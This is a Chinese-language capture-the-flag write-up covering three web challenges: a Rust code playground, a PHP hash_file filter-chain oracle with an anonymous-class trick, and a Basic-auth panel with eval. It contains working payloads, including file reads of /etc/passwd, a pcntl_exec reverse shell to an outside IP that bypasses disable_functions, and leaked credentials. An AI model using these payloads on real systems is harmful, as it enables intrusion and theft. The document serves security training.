Web
playground
源代码
#[macro_use] extern crate rocket;
use std::fs;
use std::fs::File;
use std::io::Write;
use std::process::Command;
use rand::Rng;
#[get("/")]
fn index() -> String {
fs::read_to_string("main.rs").unwrap_or(String::default())
}
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
if code.contains("std") {
return "Error: std is not allowed".to_string();
}
//generate a random 5 length file name
let file_name = rand::thread_rng()
.sample_iter(&rand::distributions::Alphanumeric)
.take(5)
.map(char::from)
.collect::<String>();
if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
file.write_all(code.as_bytes());
}
if let Ok(build_output) = Command::new("rustc")
.arg(format!("playground/{}.rs",&file_name))
.arg("-C")
.arg("debuginfo=0")
.arg("-C")
.arg("opt-level=3")
.arg("-o")
.arg(format!("playground/{}",&file_name))
.output() {
if !build_output.status.success(){
fs::remove_file(format!("playground/{}.rs",&file_name));
return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
}
}
fs::remove_file(format!("playground/{}.rs",&file_name));
if let Ok(output) = Command::new(format!("playground/{}",&file_name))
.output() {
if !output.status.success(){
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
} else{
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
}
}
return String::default();
}
#[launch]
fn rocket() -> _ {
let figment = rocket::Config::figment()
.merge(("address", "0.0.0.0"));
rocket::custom(figment).mount("/", routes![index,run_rust_code])
}
根据分析通过访问根路由是可以直接得到题目的源代码,然后通过rust_code路由可以执行rust代码
我们可以测试一下
POST /rust_code HTTP/1.1
Host: eci-2zecmju2g1cqvav9b7rb.cloudeci1.ichunqiu.com:8000
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zecmju2g1cqvav9b7rb.cloudeci1.ichunqiu.com:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zecmju2g1cqvav9b7rb.cloudeci1.ichunqiu.com:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1709883939
Connection: close
fn main() {
let my_string = "Hello, world!";
println!("{}", my_string);
}
已经执行成功了,下面我们尝试读取文件内容
use std::fs::File;
use std::io::{self, BufRead};
fn main() -> io::Result<()> {
let file = File::open("/etc/passwd")?;
let reader = io::BufReader::new(file);
for line in reader.lines() {
println!("{}", line?);
}
Ok(())
}
不允许我们使用std标准库,那我们就使用宏定义去读取文件内容
include!("/etc/passwd");
fn main() {
let my_string = "Hello, world!";
println!("{}", my_string);
}
可以读取,但是只有一行,但也不影响读取flag文件了
ezphp
源代码
<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
echo hash_file('md5', $_POST['f']);
}
?>
hash_file可以使用php伪协议,我们想要读取flag.php的内容,所以采用php_filter_chains_oracle_exploit
下载地址:https://github.com/synacktiv/php_filter_chains_oracle_exploit
RGZxMHMRMmlmKMhpc3NldCgkX0dFVFsnZXpwaHBQaHA4JA==
这个工具跑的时候,有点不稳定,需要多跑几次才能跑出正确的结果
我们现在得到了参数名ezphpPhp8,我们尝试对flag.php提交一下这个参数
得到源代码内容
<?php
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
}
function getflag()
{
system('cat /flag');
}
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>
很明显是让我们获取到匿名类,然后通过对getflag方法的调用,得到flag
想要回去当前脚本php匿名类,需要用到这个函数
get_declared_classes()
get_declared_classes函数定义:返回由当前脚本中已定义类的名字组成的数组
编写下面的脚本
<?php
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
}
function getflag()
{
system('cat /flag');
}
};
unset($a);
function get_classes_with_method($method_name)
{
$classes = get_declared_classes();
foreach ($classes as $class) {
if (method_exists($class, $method_name)) {
yield $class;
}
}
}
foreach (get_classes_with_method('getflag') as $class) {
echo $class . "<br />";
echo urlencode($class);
}
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>
为什么要将获取匿名类的函数写在当前源代码中,是因为匿名类是临时的,只存在在当前页面上
我们本地访问一下网页
我们仔细看为什么要用url编码,那是因为anonymous和路径之间有不见字符也就是%00
并且要值得注意的就是,7$0,7代表匿名类所在的行,而且它还有列,列在脚本中是随机的,所以我们要想做出这题,就还要重新启动一下,然后直接传入对应的参数
unauth
访问首页就需要Basic认证
dirsearch扫描一下目录,发现了www.zip,这里我就不演示了
www.zip里面有一个log.log文件,存放着用户名和密码
[2022-01-01 12:34:56] Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036
登陆首页得到以下源代码
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo '小明是运维工程师,最近网站老是出现bug。';
exit;
} else {
$validUser = 'admin';
$validPass = '2e525e29e465f45d8d7c56319fe73036';
if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo 'Invalid credentials';
exit;
}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>
前面的if判断直接不用看,主要是下面的eval函数,我尝试进行命令执行发现似乎是禁用函数了,并且禁了很多连phpinfo都不可以使用
但是file_get_contents函数可以使用
如果想要绕过函数达到rce,那肯定是需要知道到底具体禁用了哪些参数,所以我的思路就转到了读取php.ini上
php.ini文件的路径一般都是:
Centos: /etc/php.ini
Debian/Ubuntu: /etc/php/<php_version>/apache2/php.ini
得到如下禁用函数
disable_functions = eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink
发现有很多命令执行函数被禁,但是pcntl_exec函数并没有被禁用,下面我们尝试反弹shell
http://eci-2ze4m5ltcf8rxc4bzeso.cloudeci1.ichunqiu.com/?cmd=pcntl_exec('/bin/bash',['-c','sh -i >& /dev/udp/60.204.170.160/8989 0>&1']);
平台返回502,不用去管,shell已经拿到手
我们使用python伪造shell
python -c 'import pty; pty.spawn("/bin/bash")'
然后查看当前目录下有什么文件
然后直接读取flag文件,发现无法读取
这是因为flag是属于admin用户的,后面我尝试了使用log.log文件里获取到的用户名和密码,发现登陆不上去,然后查看了config.inc.php
<?php
# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
# Thanks to @digininja for the fix.
# Database management system to use
$DBMS = 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled
# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.
# See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'b90e0086d8b1165403de6974c4167165';
# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port '] = '5432';
# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
# Default security level
# Default value for the secuirty level with each session.
# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = 'impossible';
# Default PHPIDS status
# PHPIDS status with each session.
# The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
$_DVWA[ 'default_phpids_level' ] = 'disabled';
# Verbose PHPIDS messages
# Enabling this will show why the WAF blocked the request on the blocked request.
# The default is 'disabled'. You can set this to be either 'true' or 'false'.
$_DVWA[ 'default_phpids_verbose' ] = 'false';
?>
这里面也有一个密码,我们尝试登陆,发现可以登陆上,然后直接查看flag文件就行了